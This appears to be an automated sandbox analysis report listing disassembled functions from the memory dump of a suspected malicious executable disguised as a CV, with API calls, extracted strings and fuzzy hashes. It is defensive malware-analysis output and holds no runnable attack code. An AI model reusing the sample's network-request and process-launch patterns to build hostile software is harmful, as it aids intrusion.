Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 87729f00c401547bec0120445566aab875d2168f8df210f0d29409cbd1038fcb
Instruction ID: 644b2e3a8a90610e3da0999b4bcb251f81002fa28284be48d29be69a7726190d
Opcode Fuzzy Hash: 87729f00c401547bec0120445566aab875d2168f8df210f0d29409cbd1038fcb
Instruction Fuzzy Hash: B0F03A72A41158BBE7215B929D0EEEF7F7CEFC6B11F000028FA01E2051DBB15A49D6B9

Function 003C9A20 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 003C9A33
EnterCriticalSection.KERNEL32(?,?,?,?,003F5DEE,?,?,?,?,?,0038ED63), ref: 003C9A44
TerminateThread.KERNEL32(?,000001F6,?,?,?,003F5DEE,?,?,?,?,?,0038ED63), ref: 003C9A51
WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,003F5DEE,?,?,?,?,?,0038ED63), ref: 003C9A5E

Part of subcall function 003C93D1: CloseHandle.KERNEL32(?,?,003C9A6B,?,?,?,003F5DEE,?,?,?,?,?,0038ED63), ref: 003C93DB

InterlockedExchange.KERNEL32(?,000001F6), ref: 003C9A71
LeaveCriticalSection.KERNEL32(?,?,?,?,003F5DEE,?,?,?,?,?,0038ED63), ref: 003C9A78

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 755b26f2f7937a6863ae57220f962931ea617f9904cec60db2a0044325770a12
Instruction ID: 7899ec817d0b152af260d413821af7298c98ace242372b862560fc876d6e1d40
Opcode Fuzzy Hash: 755b26f2f7937a6863ae57220f962931ea617f9904cec60db2a0044325770a12
Instruction Fuzzy Hash: 65F0BE36941201ABD3122BE4EE8CEAA3729FF88301F05007AF603A10A4CB749804DB54

Function 00381CDE Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 250COMMON

Download Yara Rule

APIs

Part of subcall function 0039F4EA: std::exception::exception.LIBCMT ref: 0039F51E
Part of subcall function 0039F4EA: __CxxThrowException@8.LIBCMT ref: 0039F533

__swprintf.LIBCMT ref: 00381EA6

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00381D49

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 2125237772-557222456
Opcode ID: 9eb0db9f95282e1e1d5463f85c317caabe0dc807dc51911ceb16e61ca10e30d1
Instruction ID: 5fe9c97a8b57ec35417b66df1194a95166a1abe477ce86df7afa06714158c6db
Opcode Fuzzy Hash: 9eb0db9f95282e1e1d5463f85c317caabe0dc807dc51911ceb16e61ca10e30d1
Instruction Fuzzy Hash: 7B919A711143059FCB26FF24C996C7EB7A8AF85700F0049ADF9969B2A1DB70ED05CB92

Function 003DAFE0 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 229COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 003DB006
CharUpperBuffW.USER32(?,?), ref: 003DB115
VariantClear.OLEAUT32(?), ref: 003DB298

Part of subcall function 003C9DC5: VariantInit.OLEAUT32(00000000), ref: 003C9E05
Part of subcall function 003C9DC5: VariantCopy.OLEAUT32(?,?), ref: 003C9E0E
Part of subcall function 003C9DC5: VariantClear.OLEAUT32(?), ref: 003C9E1A

Strings

AUTOIT.ERROR, xrefs: 003DB11B
Incorrect Parameter format, xrefs: 003DB03E, 003DB20B

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: 32eaecae5dc7fc109daa6d19ba17af4e748f6a1282315e2050357864243616e4
Instruction ID: fca00fc31015517e4f7600bc0812159ab207057232cb6d6af5b7136fd25cad0f
Opcode Fuzzy Hash: 32eaecae5dc7fc109daa6d19ba17af4e748f6a1282315e2050357864243616e4
Instruction Fuzzy Hash: 6E918C76608301DFCB12EF24D48195AF7F4AF89704F15486EF89A9B361DB31E905CB52

Function 003C5347 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 180windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0039C6F4: _wcscpy.LIBCMT ref: 0039C717

_memset.LIBCMT ref: 003C5438
GetMenuItemInfoW.USER32(?), ref: 003C5467
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 003C5513
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 003C553D

Strings

0, xrefs: 003C5430

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: 2169921973a97967c20cca6cc8868bc6e642b9940b41a381e98e791e73c6cee8
Instruction ID: 31e99106b5a511ffa5bca084df5d84f5c35ff8eb526f5e858da05e403673aa18
Opcode Fuzzy Hash: 2169921973a97967c20cca6cc8868bc6e642b9940b41a381e98e791e73c6cee8
Instruction Fuzzy Hash: 8B51F4725047019BD716AF28C841F6BB7E8EF96360F05062EF896D7190DBA0EDC48B52

Function 003C0213 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 003C027B
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 003C02B1
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 003C02C2
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 003C0344

Strings

DllGetClassObject, xrefs: 003C02B7

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: 04f7f7860e091579082fe0dd340bf70fa3aa29b254943743b444f30f32d2065b
Instruction ID: 623b7b37dc689017970f0fd2528b779938d78c3640b4e6c5c0a756807bb869d9
Opcode Fuzzy Hash: 04f7f7860e091579082fe0dd340bf70fa3aa29b254943743b444f30f32d2065b
Instruction Fuzzy Hash: 78416E75604244EFDB0ACF94C884F9A7BB9EF44310F1480ADA909DF246D7B5DD44CBA0

Function 003C5007 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003C5075
GetMenuItemInfoW.USER32 ref: 003C5091
DeleteMenu.USER32(00000004,00000007,00000000), ref: 003C50D7
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00441708,00000000), ref: 003C5120

Strings

0, xrefs: 003C506D

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: fe6a75e2a29256ac1323faf3642d444669e20cd1c1d39dee2ebd5138bbf1bb8b
Instruction ID: 54e81c5c7e670cba6ecf28396a0e12b29069cf0f943ded4e6005bb8948ba2274
Opcode Fuzzy Hash: fe6a75e2a29256ac1323faf3642d444669e20cd1c1d39dee2ebd5138bbf1bb8b
Instruction Fuzzy Hash: 5341C331204701AFDB12DF24D888F6AB7E4AF85314F044A5EF855DB291D730EC44CB62

Function 003E0567 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 100COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,?,?), ref: 003E0587

Strings

cdecl, xrefs: 003E05DE
winapi, xrefs: 003E05F8
stdcall, xrefs: 003E0609
none, xrefs: 003E0662

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 2358735015-567219261
Opcode ID: a14b2d25a1d0e6e183fd49de338b1c431cd0eab40a617af2e3407e207630692e
Instruction ID: df4bd3333337564484a03bba50fb7cd60b23f5bd6a1c8148105361babe725b10
Opcode Fuzzy Hash: a14b2d25a1d0e6e183fd49de338b1c431cd0eab40a617af2e3407e207630692e
Instruction Fuzzy Hash: 36310430500256AFCF06EF64CD41AEEB3B4FF55314B00866AE426AB3D1DBB5E945CB90

Function 003BB80A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 003BB88E
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 003BB8A1
SendMessageW.USER32(?,00000189,?,00000000), ref: 003BB8D1

Strings

ComboBox, xrefs: 003BB815
ListBox, xrefs: 003BB84D

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: MessageSend
String ID: ComboBox$ListBox
API String ID: 3850602802-1403004172
Opcode ID: f17fdd98e2643ab0c1dfd03dd7e6addbb2e0f08c4c695dd5613ed7d60eada37a
Instruction ID: 9f79d4a38e68fada69fc2d665c3ae296742ac5f7afbb8baf8f22095161c2f292
Opcode Fuzzy Hash: f17fdd98e2643ab0c1dfd03dd7e6addbb2e0f08c4c695dd5613ed7d60eada37a
Instruction Fuzzy Hash: 1C21E475900208AFDB16ABA4D886DFEB77CDF45358B104529F111AA1E0DFB85D0A9760

Function 003D43E2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 85networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 003D4401
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003D4427
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 003D4457
InternetCloseHandle.WININET(00000000), ref: 003D449E

Part of subcall function 003D5052: GetLastError.KERNEL32(?,?,003D43CC,00000000,00000000,00000001), ref: 003D5067

Strings

, xrefs: 003D4450

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: HttpInternet$CloseErrorHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 1951874230-3916222277
Opcode ID: 0c7a833c74de0d6fcf82561ddbfe2eebe1ab0eb88857192711236f7b3c96dd91
Instruction ID: d50d47d48335cce5b343a183c3a1a71b5f728a07e981dd70a5220736c227c424
Opcode Fuzzy Hash: 0c7a833c74de0d6fcf82561ddbfe2eebe1ab0eb88857192711236f7b3c96dd91
Instruction Fuzzy Hash: A02180B2500208BFE7129F95ED85EBFB6FCEB49748F10802BF505A7240DA748D499771

Function 003E90E2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 0039D17C: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 0039D1BA
Part of subcall function 0039D17C: GetStockObject.GDI32(00000011), ref: 0039D1CE
Part of subcall function 0039D17C: SendMessageW.USER32(00000000,00000030,00000000), ref: 0039D1D8

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 003E915C
LoadLibraryW.KERNEL32(?), ref: 003E9163
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 003E9178
DestroyWindow.USER32(?), ref: 003E9180

Strings

SysAnimate32, xrefs: 003E9137

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: 55e4e37c3f0886826cd50c4df1a9f035bf058cfce1895abd2a0fab17694b3800
Instruction ID: f3540ad3b760283ae5e05dabf207e180257c943fde73b5607b99a9f9f4d2ca88
Opcode Fuzzy Hash: 55e4e37c3f0886826cd50c4df1a9f035bf058cfce1895abd2a0fab17694b3800
Instruction Fuzzy Hash: 8721BE71600296BBEF224E66DC84FFA37ADEB99364F11072AF910A61D0C776DC41A760

Function 003C9568 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 003C9588
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 003C95B9
GetStdHandle.KERNEL32(0000000C), ref: 003C95CB
CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 003C9605

Strings

nul, xrefs: 003C9600

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: 55a8636e82a1b58c5925f93b142aeb0125a084f04de8a4f5cd9b26c0714207fc
Instruction ID: cf4d742e42bb6d534bf3a003b5fb850e1f294752f9927be062bb75a8033229d7
Opcode Fuzzy Hash: 55a8636e82a1b58c5925f93b142aeb0125a084f04de8a4f5cd9b26c0714207fc
Instruction Fuzzy Hash: 19219270500205ABDB22AF65DC09F9A77F8AF46720F224A5EF8A1E72D0D770DD45CB10

Function 003C9634 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 003C9653
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 003C9683
GetStdHandle.KERNEL32(000000F6), ref: 003C9694
CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 003C96CE

Strings

nul, xrefs: 003C96C9

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: e189ad2fb91f3d39e0ff251ace2481dce42a53e82c0a145660a9b272e4315c8b
Instruction ID: f02234b72276f2e75d30535ae7154ce416d6ae52ed8a547ee3bb8c0bea0127e4
Opcode Fuzzy Hash: e189ad2fb91f3d39e0ff251ace2481dce42a53e82c0a145660a9b272e4315c8b
Instruction Fuzzy Hash: B421B3716002059BDB219F698C08F9AB7ECAF44730F220A1EF8A1E72D0DB70DC65CB14

Function 003CDAF6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 003CDB0A
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 003CDB5E
__swprintf.LIBCMT ref: 003CDB77
SetErrorMode.KERNEL32(00000000,00000001,00000000,0041DC00), ref: 003CDBB5

Strings

%lu, xrefs: 003CDB71

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: 11adefefed875912dfb7ea453e1a6ad32d8503f0da2437339d1dbf626cc09cae
Instruction ID: c505883a6d0501fb0cf75e29700b45f350c30070a8e11a36af127ac5084ec713
Opcode Fuzzy Hash: 11adefefed875912dfb7ea453e1a6ad32d8503f0da2437339d1dbf626cc09cae
Instruction Fuzzy Hash: AA216835A00208AFCB11EFA4CD85EEEB7B8EF49704B1140A9F509EB251DB71EE45CB65

Function 003BC9E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 003BC82D: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 003BC84A
Part of subcall function 003BC82D: GetWindowThreadProcessId.USER32(?,00000000), ref: 003BC85D
Part of subcall function 003BC82D: GetCurrentThreadId.KERNEL32 ref: 003BC864
Part of subcall function 003BC82D: AttachThreadInput.USER32(00000000), ref: 003BC86B

GetFocus.USER32 ref: 003BCA05

Part of subcall function 003BC876: GetParent.USER32(?), ref: 003BC884

GetClassNameW.USER32(?,?,00000100), ref: 003BCA4E
EnumChildWindows.USER32(?,003BCAC4), ref: 003BCA76
__swprintf.LIBCMT ref: 003BCA90

Strings

%s%d, xrefs: 003BCA8A

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf
String ID: %s%d
API String ID: 3187004680-1110647743
Opcode ID: aa90804b85211c0b6781a4b438bc0ea4a8ca4cb661d4351be4621e1b1b014b5d
Instruction ID: 995b75e29aea8e284011670cf4b3c08c1c03b937ac10c79132c040f4ec6e8e91
Opcode Fuzzy Hash: aa90804b85211c0b6781a4b438bc0ea4a8ca4cb661d4351be4621e1b1b014b5d
Instruction Fuzzy Hash: 301184B59102057BCB12BFA0CD86FE9376DAF44718F005066FE08AE182DB749545DB74

Function 003A7A94 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 003A7AD8

Part of subcall function 003A7CF4: __mtinitlocknum.LIBCMT ref: 003A7D06
Part of subcall function 003A7CF4: EnterCriticalSection.KERNEL32(00000000,?,003A7ADD,0000000D), ref: 003A7D1F

InterlockedIncrement.KERNEL32(?), ref: 003A7AE5
__lock.LIBCMT ref: 003A7AF9
___addlocaleref.LIBCMT ref: 003A7B17

Strings

`@, xrefs: 003A7AA3

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: __lock$CriticalEnterIncrementInterlockedSection___addlocaleref__mtinitlocknum
String ID: `@
API String ID: 1687444384-951712118
Opcode ID: efe6108059586bd7cab1937d0e7241b7a2ec17ec31fcd9808a0b8e18c523b23d
Instruction ID: db95bd69d36a3af54f7ac7d7dfcb8d69924a03fe6d61cc74c050f7bb9c988b01
Opcode Fuzzy Hash: efe6108059586bd7cab1937d0e7241b7a2ec17ec31fcd9808a0b8e18c523b23d
Instruction Fuzzy Hash: 430180B1544B00DFD722DF75C94A74AB7F0EF55321F20890EE4DA9B6A0CBB4A644CB15

Function 003EE32E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003EE33D
_memset.LIBCMT ref: 003EE34C
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00443D00,00443D44), ref: 003EE37B
CloseHandle.KERNEL32 ref: 003EE38D

Strings

D=D, xrefs: 003EE346

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
